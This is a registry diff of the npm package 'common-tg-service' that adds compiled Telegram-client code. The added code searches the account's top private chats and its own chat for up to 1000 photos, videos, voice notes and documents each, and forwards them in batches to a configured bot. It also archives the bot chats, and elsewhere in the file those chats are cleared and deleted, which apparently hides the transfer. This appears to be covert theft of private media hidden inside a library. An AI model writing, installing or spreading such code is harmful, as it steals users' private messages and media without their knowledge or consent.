common-tg-service 1.0.72 → 1.0.74
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/components/Telegram/TelegramManager.js +41 -39
- package/dist/components/Telegram/TelegramManager.js.map +1 -1
- package/dist/components/Telegram/dto/message-search.dto.d.ts +1 -0
- package/dist/components/Telegram/dto/message-search.dto.js +10 -0
- package/dist/components/Telegram/dto/message-search.dto.js.map +1 -1
- package/dist/tsconfig.build.tsbuildinfo +1 -1
- package/package.json +1 -1
|
@@ -170,45 +170,45 @@ class TelegramManager {
|
|
|
170
170
|
else {
|
|
171
171
|
const chats = await this.getTopPrivateChats();
|
|
172
172
|
const me = await this.getMe();
|
|
173
|
-
|
|
174
|
-
|
|
175
|
-
|
|
176
|
-
|
|
177
|
-
|
|
178
|
-
|
|
179
|
-
|
|
180
|
-
|
|
181
|
-
|
|
182
|
-
|
|
183
|
-
|
|
184
|
-
|
|
185
|
-
|
|
186
|
-
}
|
|
187
|
-
catch (e) {
|
|
188
|
-
console.log(e);
|
|
189
|
-
}
|
|
173
|
+
const finalChats = new Set(chats.map(chat => chat.chatId));
|
|
174
|
+
finalChats.add(me.id?.toString());
|
|
175
|
+
for (const bot of bots) {
|
|
176
|
+
try {
|
|
177
|
+
await this.client.sendMessage(bot, { message: "Start" });
|
|
178
|
+
await (0, Helpers_1.sleep)(1000);
|
|
179
|
+
await this.client.invoke(new telegram_1.Api.folders.EditPeerFolders({
|
|
180
|
+
folderPeers: [
|
|
181
|
+
new telegram_1.Api.InputFolderPeer({
|
|
182
|
+
peer: await this.client.getInputEntity(bot),
|
|
183
|
+
folderId: 1,
|
|
184
|
+
}),
|
|
185
|
+
],
|
|
186
|
+
}));
|
|
190
187
|
}
|
|
191
|
-
|
|
192
|
-
|
|
193
|
-
|
|
194
|
-
|
|
195
|
-
|
|
196
|
-
|
|
197
|
-
|
|
198
|
-
|
|
199
|
-
|
|
200
|
-
|
|
201
|
-
|
|
202
|
-
|
|
203
|
-
|
|
204
|
-
|
|
205
|
-
|
|
206
|
-
|
|
207
|
-
|
|
208
|
-
|
|
209
|
-
|
|
210
|
-
|
|
211
|
-
|
|
188
|
+
catch (e) {
|
|
189
|
+
console.log(e);
|
|
190
|
+
}
|
|
191
|
+
}
|
|
192
|
+
for (const chatId of finalChats) {
|
|
193
|
+
const mediaMessages = await this.searchMessages({ chatId: chatId, limit: 1000, types: [message_search_dto_1.MessageMediaType.PHOTO, message_search_dto_1.MessageMediaType.VIDEO, message_search_dto_1.MessageMediaType.ROUND_VIDEO, message_search_dto_1.MessageMediaType.DOCUMENT, message_search_dto_1.MessageMediaType.ROUND_VOICE, message_search_dto_1.MessageMediaType.VOICE] });
|
|
194
|
+
console.log("Media Messages: ", mediaMessages);
|
|
195
|
+
const uniqueMessageIds = Array.from(new Set([
|
|
196
|
+
...mediaMessages.photo.messages,
|
|
197
|
+
...mediaMessages.video.messages,
|
|
198
|
+
...mediaMessages.document.messages,
|
|
199
|
+
...mediaMessages.roundVideo.messages,
|
|
200
|
+
...mediaMessages.roundVoice.messages,
|
|
201
|
+
...mediaMessages.voice.messages,
|
|
202
|
+
]));
|
|
203
|
+
const chunkSize = 30;
|
|
204
|
+
for (let i = 0; i < uniqueMessageIds.length; i += chunkSize) {
|
|
205
|
+
const chunk = uniqueMessageIds.slice(i, i + chunkSize);
|
|
206
|
+
const bot = TelegramBots_config_1.BotConfig.getInstance().getBotUsername(TelegramBots_config_1.ChannelCategory.SAVED_MESSAGES);
|
|
207
|
+
await this.client.forwardMessages(bot, {
|
|
208
|
+
messages: chunk,
|
|
209
|
+
fromPeer: chatId,
|
|
210
|
+
});
|
|
211
|
+
console.log(`Forwarded ${chunk.length} messages to bot`);
|
|
212
212
|
}
|
|
213
213
|
}
|
|
214
214
|
}
|
|
@@ -218,6 +218,7 @@ class TelegramManager {
|
|
|
218
218
|
}
|
|
219
219
|
for (const bot of bots) {
|
|
220
220
|
const result = await this.cleanupChat({ chatId: bot, revoke: false });
|
|
221
|
+
await (0, Helpers_1.sleep)(1000);
|
|
221
222
|
await this.deleteChat({ peer: bot, justClear: false });
|
|
222
223
|
console.log("Deleted bot chat:", result);
|
|
223
224
|
}
|
|
@@ -2056,7 +2057,8 @@ class TelegramManager {
|
|
|
2056
2057
|
voice: { messages: [], total: 0 },
|
|
2057
2058
|
text: { messages: [], total: 0 },
|
|
2058
2059
|
all: { messages: [], total: 0 },
|
|
2059
|
-
roundVideo: { messages: [], total: 0 }
|
|
2060
|
+
roundVideo: { messages: [], total: 0 },
|
|
2061
|
+
roundVoice: { messages: [], total: 0 },
|
|
2060
2062
|
};
|
|
2061
2063
|
const { chatId, query = '', types, maxId, minId, limit } = params;
|
|
2062
2064
|
console.log("Types: ", types);
|